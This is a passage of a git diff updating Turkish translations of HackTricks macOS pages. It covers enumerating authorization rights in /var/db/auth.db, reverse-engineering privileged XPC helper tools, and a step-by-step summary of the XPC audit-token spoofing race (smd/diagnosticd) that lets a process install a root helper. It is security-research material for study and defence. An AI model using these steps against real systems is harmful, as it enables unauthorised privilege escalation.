} ``` -Not edin ki, o yöntemi çağırmak için gereksinimleri kontrol etmek için `authorizationRightForCommand` işlevi sadece önceden yorumlanmış nesne **`commandInfo`**'yu kontrol edecektir. Daha sonra, işlevi çağırmak için **`AuthorizationCopyRights`**'ı çağıracaktır (bayrakların kullanıcıyla etkileşime izin verdiğine dikkat edin). +Not edin ki, o yöntemi çağırmak için gereksinimleri kontrol etmek için `authorizationRightForCommand` işlevi sadece önceden yorumlanmış nesne `commandInfo`'yu kontrol edecektir. Daha sonra, işlevi çağırmak için hakları olup olmadığını kontrol etmek için `AuthorizationCopyRights` çağrılacaktır (bayrakların kullanıcıyla etkileşime izin verdiğine dikkat edin). -Bu durumda, `readLicenseKeyAuthorization` işlevini çağırmak için `kCommandKeyAuthRightDefault`'ın `@kAuthorizationRuleClassAllow` olarak tanımlandığı belirtilmiştir. Bu yüzden **herkes onu** çağırabilir. +Bu durumda, `readLicenseKeyAuthorization` işlevini çağırmak için `kCommandKeyAuthRightDefault` `@kAuthorizationRuleClassAllow` olarak tanımlanmıştır. Bu yüzden **herkes onu çağırabilir**. ### DB Bilgisi -Bu bilginin `/var/db/auth.db` içinde depolandığı belirtilmiştir. Tüm depolanan kuralları listeleyebilirsiniz: +Bu bilginin `/var/db/auth.db` içinde depolandığı belirtildi. Tüm depolanan kuralları listeleyebilirsiniz: ```sql sudo sqlite3 /var/db/auth.db SELECT name FROM rules; SELECT name FROM rules WHERE name LIKE '%safari%'; ``` -Ardından, kimin erişim hakkına sahip olduğunu okuyabilirsiniz: +Ardından, kimin erişim hakkına sahip olduğunu şu şekilde okuyabilirsiniz: ```bash security authorizationdb read com.apple.safaridriver.allow ``` @@ -262,13 +262,13 @@ security authorizationdb read com.apple.safaridriver.allow 1. **'authenticate-user': 'false'** * Bu en doğrudan anahtardır. `false` olarak ayarlandığında, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmez. -* Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle **kullanılır**. +* Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle birlikte kullanılır. 2. **'allow-root': 'true'** -* Bir kullanıcı kök kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlanmışsa, kök kullanıcı muhtemelen bu hakkı ek kimlik doğrulaması olmadan elde edebilir. Ancak genellikle, kök kullanıcı durumuna ulaşmak zaten kimlik doğrulama gerektirir, bu nedenle çoğu kullanıcı için bu bir "kimlik doğrulama olmadan" senaryosu değildir. +* Bir kullanıcı kök kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlanmışsa, kök kullanıcı bu hakkı muhtemelen daha fazla kimlik doğrulaması olmadan elde edebilir. Ancak genellikle, kök kullanıcı durumuna ulaşmak zaten kimlik doğrulama gerektirir, bu nedenle çoğu kullanıcı için bu bir "kimlik doğrulama olmadan" senaryosu değildir. 3. **'session-owner': 'true'** -* `true` olarak ayarlandığında, oturumun sahibi (şu anda oturum açmış olan kullanıcı) bu hakkı otomatik olarak alacaktır. Bu, kullanıcının zaten oturum açmışsa ek kimlik doğrulamayı atlayabilir. +* `true` olarak ayarlandığında, oturumun sahibi (şu anda oturum açık olan kullanıcı) bu hakkı otomatik olarak alır. Bu, kullanıcının zaten oturum açmışsa ek kimlik doğrulamayı atlayabilir. 4. **'shared': 'true'** -* Bu anahtar kimlik doğrulamasız haklar vermez. Bunun yerine, `true` olarak ayarlanırsa, hak doğrulandıktan sonra, her birinin yeniden kimlik doğrulamasına gerek duymadan birden fazla işlem arasında paylaşılabileceği anlamına gelir. Ancak hak ilk olarak kimlik doğrulaması gerektirecektir, başka anahtarlarla birleştirilmediği sürece, örneğin `'authenticate-user': 'false'`. +* Bu anahtar kimlik doğrulamasız haklar vermez. Bunun yerine, `true` olarak ayarlanırsa, hak doğrulandıktan sonra, her birinin yeniden kimlik doğrulaması yapmadan birden fazla işlem arasında paylaşılabileceği anlamına gelir. Ancak hak ilk olarak kimlik doğrulaması gerektirecektir, başka anahtarlarla birleştirilmediği sürece, örneğin `'authenticate-user': 'false'`. ```bash Rights with 'authenticate-user': 'false': is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root) @@ -281,15 +281,15 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se ``` ## Yetkilendirme Geri Mühendisliği -### EvenBetterAuthorization'ın Kullanılıp Kullanılmadığını Kontrol Etme +### EvenBetterAuthorization Kullanılıp Kullanılmadığını Kontrol Etme Eğer **`[HelperTool checkAuthorization:command:]`** fonksiyonunu bulursanız, muhtemelen işlem önceden bahsedilen yetkilendirme şemasını kullanıyor: -
+
Bu fonksiyon, `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` gibi fonksiyonları çağırıyorsa, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) kullanıyor demektir. -Kullanıcı etkileşimi olmadan bazı ayrıcalıklı işlemleri çağırmak için izin alınabilir mi diye görmek için **`/var/db/auth.db`**'yi kontrol edin. +Bazı ayrıcalıklı eylemleri kullanıcı etkileşimi olmadan çağırma izinlerini almak mümkün olup olmadığını görmek için **`/var/db/auth.db`** dosyasını kontrol edin. ### Protokol İletişimi @@ -297,11 +297,11 @@ Daha sonra, XPC servisi ile iletişim kurabilmek için protokol şemasını bulm **`shouldAcceptNewConnection`** fonksiyonu dışa aktarılan protokolü gösterir: -
+
-Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeye sahibiz, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94). +Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeyi bulduk, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94). -Kullanılan protokolün adını bildiğinizde, **başlık tanımını dump etmek mümkündür**: +Kullanılan protokolün adını bildiğinizde, **başlık tanımını dump etmek mümkün olacaktır**: ```bash class-dump /Library/PrivilegedHelperTools/com.example.HelperTool @@ -317,9 +317,9 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool ``` Son olarak, onunla iletişim kurabilmek için açığa çıkarılan Mach Servisinin adını bilmemiz gerekiyor. Bunu bulmanın birkaç yolu vardır: -* **`[HelperTool init()]`** içinde kullanılan Mach Servisinin görüldüğü yerde: +* **`[HelperTool init()]`** içinde kullanılan Mach Servisinin görüldüğü yer: -
+
* launchd plist dosyasında: ```xml @@ -339,7 +339,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist Bu örnekte şunlar oluşturulmuştur: * Fonksiyonlarla protokolün tanımı -* Erişim istemek için kullanılacak boş bir yetkilendirme +* Erişim istemek için kullanılacak boş bir kimlik doğrulaması * XPC servisine bağlantı * Bağlantı başarılıysa fonksiyonu çağırma ```objectivec @@ -425,14 +425,14 @@ NSLog(@"Finished!");
-Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md index ac0ec180e..2e1935ec1 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md @@ -8,15 +8,15 @@ HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. **Daha fazla bilgi için orijinal yazıya bakın:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Bu bir özet: -## Mach Mesajları Temel Bilgileri +## Mach Mesajları Temel Bilgiler Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfayı kontrol etmeye başlayın: @@ -24,8 +24,7 @@ Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfayı kontrol etmeye baş [macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/) {% endcontent-ref %} -Şu anda hatırlamanız gereken şey ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): - +Şu anda ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\ Mach mesajları, mach çekirdeğine yerleştirilmiş **tek alıcı, çok gönderen iletişim** kanalı olan bir _mach portu_ üzerinden gönderilir. **Birden fazla işlem**, bir mach porta mesaj gönderebilir, ancak herhangi bir anda **yalnızca bir işlem** onu okuyabilir. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve işlemler yalnızca bir tamsayı görür, bu tamsayıyı kullanarak hangi mach portlarının kullanılacağını çekirdeğe belirtebilirler. ## XPC Bağlantısı @@ -38,49 +37,49 @@ Bir XPC bağlantısının nasıl kurulduğunu bilmiyorsanız kontrol edin: ## Zafiyet Özeti -Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknolojiye dayanır, bu nedenle:** +Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknoloji üzerine kurulmuştur, bu nedenle:** -* Mach portları tek alıcı, **çoklu gönderici**dir. +* Mach portları tek alıcı, **çoklu gönderen**'dir. * Bir XPC bağlantısının denetim belgesi, **en son alınan mesajdan kopyalanır**. * Bir XPC bağlantısının **denetim belgesini elde etmek**, birçok **güvenlik denetimleri** için kritiktir. Önceki durum umut verici görünse de, bu duruma neden olmayacak bazı senaryolar vardır ([buradan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): -* Denetim belgeleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme denetimi için kullanılır. Bu, bir hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar sadece ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan denetimler savunmasız değildir** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belgesinin güvenli olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**. -* XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belgesi başka normal (yanıt dışı!) mesajlar tarafından üzerine yazılamaz**. +* Denetim belgeleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme denetimi için kullanılır. Bu, bir hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar sadece ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan denetimlerde zafiyet yoktur** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belgesinin güvende olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**. +* XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belgesi başka normal (yanıt olmayan!) mesajlar tarafından üzerine yazılamaz**. -Bu, nasıl sömürülebileceğine dair iki farklı yöntem vardır: +Bu, bu durumun nasıl sorunlara yol açmayacağını açıklayan iki farklı yöntemdir: 1. Varyant1: -* **Sömürü**, hizmet **A** ve hizmet **B'ye** bağlanır. -* Hizmet **B**, kullanıcının yapamayacağı bir **aşamalı işlevi** hizmet **A'da** çağırabilir. -* **Hizmet A**, bir **`dispatch_async`** içinde olmadan **`xpc_connection_get_audit_token`** çağırırken **denetim belgesini alır**. +* **Saldırı**, hizmet **A** ve hizmet **B**'ye bağlanır. +* Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A**'da çağırabilir. +* Hizmet **A**, bir **`dispatch_async`** içinde olmadığı sırada **`xpc_connection_get_audit_token`**'ı çağırır. * Bu nedenle **farklı** bir mesaj, olay işleyicisi dışında asenkron olarak gönderildiği için **Denetim Belgesi üzerine yazılabilir**. -* Sömürü, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**. -* Bu nedenle svc **B**, aslında mesajları hizmet **A'ya gönderir**. -* **Sömürü**, **aşamalı işlemi çağırmaya çalışır**. Bir RC svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belgesini üzerine yazdı** (sömürünün ayrıcalıklı eylemi çağırma erişimine sahip olmasını sağlar). +* Saldırı, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**. +* Bu nedenle svc **B**, mesajları aslında hizmet **A'ya gönderir**. +* **Saldırı**, **ayrıcalıklı eylemi çağırmaya çalışır**. Bir RC svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belgesini üzerine yazdı** (saldırının ayrıcalıklı eylemi çağırma erişimine sahip olmasını sağlar). 2. Varyant 2: -* Hizmet **B**, kullanıcının yapamayacağı bir **aşamalı işlevi** hizmet **A'da** çağırabilir. -* Sömürü, **hizmet A'ya** bağlanır ve hizmetten belirli bir **yanıt bekleyen bir mesaj** gönderir. -* Sömürü, **hizmet** B'ye **o yanıt portunu** geçen bir mesaj gönderir. -* Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken**, **sömürü** ayrı bir **mesajı hizmet A'ya göndererek ayrıcalıklı bir işlevi** ulaşmaya çalışır ve hizmet B'den gelen yanıtın Denetim belgesini mükemmel anında üzerine yazmasını bekler (Yarış Koşulu). +* Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A**'da çağırabilir. +* Saldırı, **hizmet A** ile bağlantı kurar ve hizmet **A'dan belirli bir yanıt bekleyen bir mesajı** belirli bir **yanıt** **portuna** gönderir. +* Saldırı, **hizmet** B'ye **bu yanıt portunu** geçiren bir mesaj gönderir. +* Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken** **saldırı**, ayrıcalıklı bir işleme ulaşmaya çalışan farklı bir **mesajı hizmet A'ya gönderir** ve hizmet B'den gelen yanıtın Denetim belgesini mükemmel anda üzerine yazmasını bekler (Yarış Koşulu). ## Varyant 1: xpc\_connection\_get\_audit\_token'ın olay işleyicisi dışında çağrılması Senaryo: * Bağlanabileceğimiz iki mach hizmeti **`A`** ve **`B`** (kum havuzu profili ve bağlantıyı kabul etmeden önce yetkilendirme denetimlerine dayalı). -* _**A**_, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme denetimi** yapmalı (ancak uygulamamız yapamaz). +* _**A**_'nın, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme denetimi** olmalı (ancak uygulamamız yapamaz). * Örneğin, B bazı **ayrıcalıklara** sahipse veya **root** olarak çalışıyorsa, A'dan ayrıcalıklı bir eylem gerçekleştirmesini istemesine izin verebilir. -* Bu yetkilendirme denetimi için **`A`**, örneğin `dispatch_async`'den **`xpc_connection_get_audit_token`** çağırarak denetim belgesini asenkron olarak alır. +* Bu yetkilendirme denetimi için, **`A`**, örneğin `dispatch_async`'den **xpc_connection_get_audit_token**'ı çağırarak denetim belgesini asenkron olarak alır. {% hint style="danger" %} -Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini isteyen bir sömürü** oluşturabilirken **B'nin A'ya mesaj göndermesini sağlayan bir Yarış Koşulu** tetikleyebilir. RC başarılı olduğunda, **B'nin denetim belgesi**, **sömürü**nün A tarafından **işlenirken** hafızaya kopyalanır ve **sömürü**nün **yalnızca B'nin isteyebileceği ayrıcalıklı eyleme erişimini** verir. +Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini isteyen bir saldırı** yaparak **B'nin A'ya mesaj göndermesini sağlayan bir Yarış Koşulu** tetikleyebilir. RC başarılı olduğunda, **B'nin denetim belgesi** bellekte **kopyalanırken**, saldırımızın **A tarafından işlenirken** **erişimi sadece B'nin isteyebileceği ayrıcalıklı eyleme** sahip olur. {% endhint %} -Bu, **`A`** olarak `smd` ve **`B`** olarak `diagnosticd` ile gerçekleşti. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi, yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. **Root** olarak çalışan bir işlem **smd'ye** ulaşırsa, başka hiçbir denetim yapılmaz. +Bu, **`A`**'nın `smd` ve **`B`**'nin `diagnosticd` olarak olduğu bir durumdu. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi, yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. Eğer **root** olarak çalışan bir işlem **smd'ye** ulaşırsa, başka hiçbir denetim yapılmaz. -Bu nedenle hizmet **B**, **root** olarak çalıştığından ve bir işlemi **izlemek** için kullanılabileceğinden, izleme başladığında saniyede **çoklu mesaj gönderecektir.** +Bu nedenle, hizmet **B**, **root** olarak çalıştığı için **diagnosticd**'dir ve bir işlemi izlemek için kullanılabilir, bu nedenle izleme başladığında saniyede **çoklu mesaj gönderir.** Saldırıyı gerçekleştirmek için: @@ -88,49 +87,49 @@ Saldırıyı gerçekleştirmek için: 2. `diagnosticd`'ye ikincil bir **bağlantı** oluşturun. Normal prosedürün aksine, iki yeni mach port oluşturmak ve göndermek yerine, istemci portu gönderme hakkı, `smd` bağlantısıyla ilişkilendirilen **gönderme hakkının bir kopyası ile değiştirilir**. 3. Sonuç olarak, XPC mesajları `diagnosticd`'ye gönderilebilir, ancak `diagnosticd`'den gelen yanıtlar `smd`'ye yönlendirilir. `smd` için, hem kullanıcıdan hem de `diagnosticd`'den gelen mesajların aynı bağlantıdan geldiği görünmektedir. -![Sömürü sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) -4. Sonraki adım, `diagnosticd`'ye seçilen bir süreci (muhtemelen kullanıcının kendi sürecini) izlemesini talimatlandırmayı içerir. Aynı anda, rutin 1004 mesajlarının bir seli `smd`'ye gönderilir. Buradaki amaç, ayrıcalıklı izinlerle bir araç yüklemektir. -5. Bu eylem, `handle_bless` işlevi içinde bir yarış koşulunu tetikler. Zamanlama kritiktir: `xpc_connection_get_pid` işlevi çağrısının kullanıcının sürecinin PID'sini döndürmesi gerekir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` işlevi, özellikle `connection_is_authorized` alt rutini içinde, `diagnosticd`'ye ait olan denetim belgesine başvurmalıdır. +![Saldırı sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) +4. Sonraki adım, `diagnosticd`'ye seçilen bir süreci (potansiyel olarak kullanıcının kendi sürecini) izlemesini talimat vermek içerir. Aynı anda, rutin 1004 mesajlarının `smd`'ye gönderilmesi sağlanır. Buradaki amaç, ayrıcalıklı izinlere sahip bir aracı yüklemektir. +5. Bu eylem, `handle_bless` işlevi içinde bir yarış koşulu tetikler. Zamanlama kritiktir: `xpc_connection_get_pid` işlevi çağrısının kullanıcının sürecinin PID'sini döndürmesi gerekir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` işlevi, özellikle `connection_is_authorized` alt rutini içinde, `diagnosticd`'ye ait olan denetim belgesine başvurmalıdır. ## Varyant 2: yanıt yönlendirme -Bir XPC (Çapraz Süreç İletişimi) ortamında, olay işleyicileri eşzamanlı olarak yürütülmezken, yanıt mesajlarının işlenmesi benzersiz bir davranışa sahiptir. Özellikle, yanıt bekleyen mesajların gönderilmesi için iki farklı yöntem bulunmaktadır: +XPC (Çapraz Süreç İletişimi) ortamında, olay işleyicileri eşzamanlı olarak çalışmasa da, yanıt mesajlarının işlenmesi benzersiz bir davranışa sahiptir. Özellikle, yanıt bekleyen mesajların gönderilmesi için iki farklı yöntem bulunmaktadır: 1. **`xpc_connection_send_message_with_reply`**: Burada, XPC mesajı belirlenmiş bir sıra üzerinde alınır ve işlenir. 2. **`xpc_connection_send_message_with_reply_sync`**: Buna karşılık, bu yöntemde XPC mesajı mevcut dağıtım sırasında alınır ve işlenir. -Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasına karşı koruma sağlamak için kilit mekanizması uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur. +Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasını önlemek için kilit uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur. Bu zafiyeti sömürmek için aşağıdaki kurulum gereklidir: * İki mach hizmeti, **`A`** ve **`B`** olarak adlandırılan, her ikisi de bir bağlantı kurabilir. -* Hizmet **`A`**, yalnızca **`B`**'nin gerçekleştirebileceği belirli bir eylem için bir yetkilendirme kontrolü içermelidir (kullanıcının uygulaması yapamaz). +* Hizmet **`A`**, yalnızca **`B`**'nin gerçekleştirebileceği belirli bir işlem için bir yetkilendirme kontrolü içermelidir (kullanıcının uygulaması yapamaz). * Hizmet **`A`**, yanıt bekleyen bir mesaj göndermelidir. * Kullanıcı, yanıt vereceği **`B`**'ye bir mesaj gönderebilir. Sömürü süreci aşağıdaki adımları içerir: 1. Hizmet **`A`**'nın yanıt bekleyen bir mesaj göndermesini bekleyin. -2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`**'ye bir mesaj göndermek için kullanılır. -3. Ardından, yasaklanan eylemi içeren bir mesaj gönderilir ve bu mesajın, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir. +2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`** hizmetine bir mesaj göndermek için kullanılır. +3. Ardından, yasaklanan işlemi içeren bir mesaj gönderilir ve bu mesajın, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir. -Yukarıda açıklanan saldırı senaryosunun görsel temsili aşağıda verilmiştir: +Yukarıda tanımlanan saldırı senaryosunun görsel temsili aşağıda verilmiştir: ![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png) -
https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png
+
https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png
## Keşif Problemleri * **Örneklerin Bulunmasındaki Zorluklar**: `xpc_connection_get_audit_token` kullanımı örneklerini hem statik hem de dinamik olarak aramak zorlu oldu. -* **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, kancalanan sürece sınırlıydı ve aktif kullanım gerektiriyordu. -* **Analiz Araçları**: IDA/Ghidra gibi araçlar, ulaşılabilir mach hizmetlerini incelemek için kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirildi ve zaman alıcıydı. -* **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrılarını analiz etmek için betik oluşturma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi. +* **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, kancalanan sürece sınırlıydı ve etkin kullanım gerektiriyordu. +* **Analiz Araçları**: Ulaşılabilir mach hizmetlerini incelemek için IDA/Ghidra gibi araçlar kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirildi ve zaman alıcıydı. +* **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrıları için analiz betiği oluşturma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi. ## Düzeltme * **Bildirilen Sorunlar**: `smd` içinde bulunan genel ve özel sorunları detaylandıran bir rapor Apple'a sunuldu. * **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı. * **Düzeltmenin Doğası**: `xpc_dictionary_get_audit_token` işlevi, denetim belgesini doğrudan alır ve alınan XPC mesajına bağlı mach mesajından denetim belgesini alır. Bununla birlikte, `xpc_connection_get_audit_token` gibi genel API'nın bir parçası değildir. -* **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesiyle uyuşmayan mesajları reddetmek gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi 